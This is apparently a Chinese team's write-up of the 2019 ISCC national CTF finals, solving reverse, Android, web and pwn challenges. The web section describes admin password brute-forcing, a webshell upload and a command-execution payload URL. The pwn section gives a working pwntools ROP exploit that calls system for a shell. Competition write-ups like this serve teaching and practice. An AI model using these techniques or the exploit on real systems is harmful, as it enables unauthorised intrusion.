2019全国大学生信息安全与对抗技术竞赛全国线下总决赛 Writeup

2022-10-26 22:42:26

0x00 Begin

关于 ISCC 2019 北理工总决赛，这一次比赛体验感总体差不多，最后我们战队荣获全国一等奖第一名，在这里非常感谢我的团队以及我的队友。

0x01 Reverse

下载题目：elf

先用 DIE_090_win 查看信息，64位elf文件，然后拖入 ida 分析。

看到fgets函数，并且没有对输入进行限制，存在数组越界漏洞。

而且数组是连续的

所以根据流程写出相应的脚本

#include <stdio.h>
int main(int argc, char *argv[])
{
int s,v5,v6,v7,v8,v9,v10,v11,v12,v13,v14,v15,v16,v17,v18,v19,v20,v21,v22,v23,v24,v25,v26,v27;
s = (0x17F5B30C ^ 0x17F5B345);
v5=  (0xF16B77B1^0xF16B77E2);
v6=(0xB2B21904 ^ 0xB2B21947);
v7 = (0x58A9F9C8 ^ 0x58A9F98B);
v8 = (0x20A99D71 ^ 0x20A99D0A);
v9=(0x96D85B41 ^ 0x96D85B20);
v10=(0xBBEA9A56 ^ 0xBBEA9A3E);
v11 = ( 0x35512DDF^ 0x35512DBE);
v12 = ( 0x2838DCA8^ 0x2838DCF7);
v13 = (0x4EA1DFF4 ^ 0x4EA1DF87);
v14=(0xE22DCC84 ^ 0xE22DCCED) ;
v15=(0xDD2C6643 ^ 0xDD2C662E);
v16 =(0x106B37B4 ^ 0x106B37C4);
v17 =(0x46B44202 ^ 0x46B4426E);
v18=(0xAA67C791 ^ 0xAA67C7F4);
v19=(0x72C06EE2 ^ 0x72C06EBD);
v20=(0xB0117F0D ^ 0xB0117F7F) ;
v21=(0xF91B9389 ^ 0xF91B93EC);
v22=(0xD43CE962 ^ 0xD43CE914);
v23=(0xF6EA0C88 ^ 0xF6EA0CED);
v24= (0x402A09E5 ^ 0x402A0997);
v25=(0xADACB774 ^ 0xADACB707) ;
v26=(0xE79C5545 ^ 0xE79C5520);
v27 = (0x4B76BD31 ^ 0x4B76BD4C);
printf("%c",s);
printf("%c",v5);
printf("%c",v6);
printf("%c",v7);
printf("%c",v8);
printf("%c",v9);
printf("%c",v10);
printf("%c",v11);
printf("%c",v12);
printf("%c",v13);
printf("%c",v14);
printf("%c",v15);
printf("%c",v16);
printf("%c",v17);
printf("%c",v18);
printf("%c",v19);
printf("%c",v20);
printf("%c",v21);
printf("%c",v22);
printf("%c",v23);
printf("%c",v24);
printf("%c",v25);
printf("%c",v26);
printf("%c",v27);
;
}

GetFlag

ISCC{aha_simple_reverse}

0x02 Mobile

下载题目：app-release.apk

通过提示发现flag由两部分组成

由于该apk缺少签名所以无法安装，不过不影响做题

第一部分：

先对apk进行反编译，分析特殊文件，最终在string.xml文件中找到一些特殊字符串

 <string name="abc_toolbar_collapse_description">Collapse</string>
    <string name="app_name">where is flag</string>
    <string name="bad_example">This does not work</string>
    <string name="basketball">basketball</string>
    <string name="black">#FFFFFF</string>
    <string name="city">青岛</string>
    <string name="good_example">"This'll work"</string>
    <string name="good_example_2">"This'll also work"</string>
    <string name="hello">Hello World, MainActivity!</string>
    <string name="hhh">Happy!</string>
    <string name="me">我打ctf像</string>
    <string name="mine">今年我10岁，打ctf</string>
    <string name="part1">RmxhZyU3</string>
    <string name="part2">QllvdXJB</string>
    <string name="part3">cmVDYW5keQ==</string>
    <string name="sd">sad!</string>
    <string name="search_menu_title">Search</string>

提取特殊字符串

part=part1+part2+part3=RmxhZyU3QllvdXJBcmVDYW5keQ==

base64解码得到flag前半部分

Flag{YourAreCandy

第二部分：

使用jd-gui查看反编译的java文件

主类代码如下：

package com.example.iscc.whereisflag;

import android.os.Bundle;
import android.support.v7.app.AppCompatActivity;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;
import android.widget.EditText;
import android.widget.Toast;

public class MainActivity
  extends AppCompatActivity
{
  String f1ag = "f1ag{ifbUlnFBboBH15VGHsd6a78}";
  String tag1 = "input";

  boolean check(String paramString)
  {
    if (paramString.length() == 0) {
      return false;
    }
    int[] arrayOfInt1 = new int[paramString.length() / 2 + 1];
    int[] arrayOfInt2 = new int[paramString.length() / 2 + 1];
    int k = 0;
    int i = k;
    int j = i;
    while (k < paramString.length())
    {
      arrayOfInt1[i] = paramString.charAt(k);
      int m = paramString.charAt(k);
      k += 1;
      arrayOfInt2[i] = paramString.charAt(k);
      i += 1;
      j = j + m + paramString.charAt(k);
      k += 1;
    }
    if (j > 800) {
      return false;
    }
    i = arrayOfInt2[(arrayOfInt2.length - 2)];
    arrayOfInt2[(arrayOfInt2.length - 2)] = arrayOfInt2[0];
    arrayOfInt2[0] = i;
    i = 0;
    while (i < arrayOfInt1.length - 1)
    {
      if (arrayOfInt1[i] > 91) {
        return false;
      }
      i += 1;
    }
    i = 0;
    while (i < arrayOfInt2.length - 1)
    {
      if (arrayOfInt2[i] < 96) {
        return false;
      }
      i += 1;
    }
    if (arrayOfInt1[(arrayOfInt1.length - 2)] != arrayOfInt1[(arrayOfInt1.length - 3)]) {
      return false;
    }
    if (arrayOfInt1[1] - arrayOfInt1[0] != 4) {
      i = 1;
    } else {
      i = 0;
    }
    if (Math.abs(arrayOfInt2[0] - arrayOfInt2[1]) != 4) {
      j = 1;
    } else {
      j = 0;
    }
    if (arrayOfInt1[0] - arrayOfInt1[(arrayOfInt1.length - 2)] != 4) {
      k = 1;
    } else {
      k = 0;
    }
    if ((i | j | k) != 0) {
      return false;
    }
    if (arrayOfInt2[0] % 25 != 0) {
      return false;
    }
    if ((arrayOfInt1[(arrayOfInt1.length - 2)] + arrayOfInt2[(arrayOfInt2.length - 2)] + arrayOfInt2[1]) / (arrayOfInt1[0] + arrayOfInt1[1]) != 2) {
      return false;
    }
    if ((arrayOfInt1[(arrayOfInt1.length - 2)] + arrayOfInt2[(arrayOfInt2.length - 3)]) % 10 != 0) {
      return false;
    }
    if (arrayOfInt2[(arrayOfInt2.length - 3)] % 11 != 0) {
      i = 1;
    } else {
      i = 0;
    }
    if (arrayOfInt2[(arrayOfInt2.length - 2)] % 11 != 0) {
      j = 1;
    } else {
      j = 0;
    }
    return (i | j) == 0;
  }

  protected void onCreate(final Bundle paramBundle)
  {
    super.onCreate(paramBundle);
    setContentView(2131296284);
    paramBundle = (EditText)findViewById(2131165309);
    ((Button)findViewById(2131165218)).setOnClickListener(new View.OnClickListener()
    {
      public void onClick(View paramAnonymousView)
      {
        paramAnonymousView = paramBundle.getText().toString();
        if (MainActivity.this.check(paramAnonymousView))
        {
          Toast.makeText(MainActivity.this.getApplicationContext(), "恭喜你拿到了 ag!", 1).show();
          return;
        }
        Toast.makeText(MainActivity.this.getApplicationContext(), "flag{you can do it 666}", 1).show();
      }
    });
  }
}

审计主类Java代码发现第二部分存在于check函数中，下来分析check函数功能：

首先将输入的奇数位赋给数组arrayOfInt1,偶数位赋给arrayOfInt2，然后判断输入的字符串ASCII的要小于800。

这部分将数组arrayOfInt2的最后一位和第一位替换位置；并要求arrayOfInt1要小于等于91，arrayOfInt2要大于等于96。

最后两部分就是对两个数组的值的判断即约束条件。

最终，满足所有条件才能返回1即返回true。

根据上面列出的约束条件(为了阅读方便将数组设为 arrayOfInt1->arr1 arrayOfInt2->arr2)

然后设

arr1[0] -> x0

arr1[1] -> x1

arr1[后1] -> x_1 == 数组arr1的到数第1位

arr1[后2] -> x_2 == 数组arr1的到数第2位

arr2[0] -> y0

arr2[1] -> y1

arr2[后1] -> y_1 == 数组arr2的到数第1位

arr2[后2] -> y_2 == 数组arr2的到数第2位

所有约束条件组成的方程组

x_1 = x_2 式 1
x1 – x0 =4 式 2
x0 – x_1=4 式 3
(x_1 + y_1 +y1)/(x0+x1) =2 式 4
(x_1 + y_2) % 10 = 0 式 5
| y0 – y1| =4 式 6
y0 % 25 =0 式 7
y_2 % 11 =0 式 8
y_1 %11 =0 式 9

利用方程组求解：

根据式7得 y0 = 125 或者 100

根据式6得 y1 =121

因为数组2要大于等于96，所以根据式8，9得 y_1,y_2的取值有三种可能
99，110，121

若
y_2 =121

根据式5得 x_1 = 69

根据式1得 x_2 = 69

根据式3得 x0 = 73

根据式2得 x1 = 77

根据式4得 y_1 = 110

发现此解满足条件

所
x0 = 73 x1= 77 x_2 = 69 x_1 = 69

以
y0 = 125 y1 =121 y_2 = 121 y_1 = 110

整理：

数组 arr1 = 73 , 77, 69, 69

数组 arr2 = 125, 121, 121 , 110

根据1.2可知数组2的最后一位和第一位替换位置所以

数组 arr2 = 110, 121, 121 , 125

之后根据数组arr1是输入的奇数位，arr2是输入的偶数位

所以输入： 73,110,77,121,69,121,69,125

对应字符串：InMyEyE}

最终flag由第一部分和第二部分组成

Flag{YourAreCandyInMyEyE}

PS：感谢我们团队的逆向大佬帮我分析算法(二进制大佬)。

0x03 私地 Web

拿到一个站，先对该站点进行端口探测，目录扫描，发现存在登陆页面，首先想的是注入，但是注入无果，于是立马进行isccadmin爆破。

登陆之后，先修改自己账户密码，防止被登录。

漏洞利用，修改附件上传限制

在文章哪里上传木马111.pht

PS：服务器存在漏洞(主办方文件权限设置出现问题)，一直上传不上去，耽误了一个小时（T_T）,最后向主办方反应才解决了该问题。

最后蚁剑成功连接shell

Getflag向主办方要取ssh账号

连接ssh之后，备份源码，分析站点文件，发现根目录下的一个文件(xmlrpc.php)存在任意命令执行漏洞。

构造payload，getflag

http://192.168.37.71/xmlrpc.php?rsd=getflag

0x04 Pwn 高地2

放入ida分析，发现scanf存在栈溢出漏洞，并且题目还给出了system函数

根据漏洞编写相应的Exp

from pwn import *
context.log_level = "debug"
#icontext.arch = "amd64"
elf = ELF("./fZ830RdRBe6wAofd.pwnPublic")
pop_rdi_ret=0x400683
bss=0x602000-10
pop_rsi_r15=0x400681
s=0x4006C5
sh = process("./fZ830RdRBe6wAofd.pwnPublic")
system = elf.plt['system']
scanf = elf.plt['__isoc99_scanf']
payload='A'*24+p64(pop_rsi_r15)+p64(bss)+p64(bss)
payload+=p64(pop_rdi_ret)+p64(s)
payload+=p64(scanf)
payload+=p64(pop_rdi_ret)+p64(bss)+p64(system)
sh.sendline(payload)
sh.interactive()

码农公寓

2019全国大学生信息安全与对抗技术竞赛全国线下总决赛 Writeup

0x00 Begin

0x01 Reverse

0x02 Mobile

0x03 私地 Web

0x04 Pwn 高地2

0x05 End

码农公寓

0x00 Begin

0x01 Reverse

0x02 Mobile

0x03 私地 Web

0x04 Pwn 高地2

0x05 End

相关文章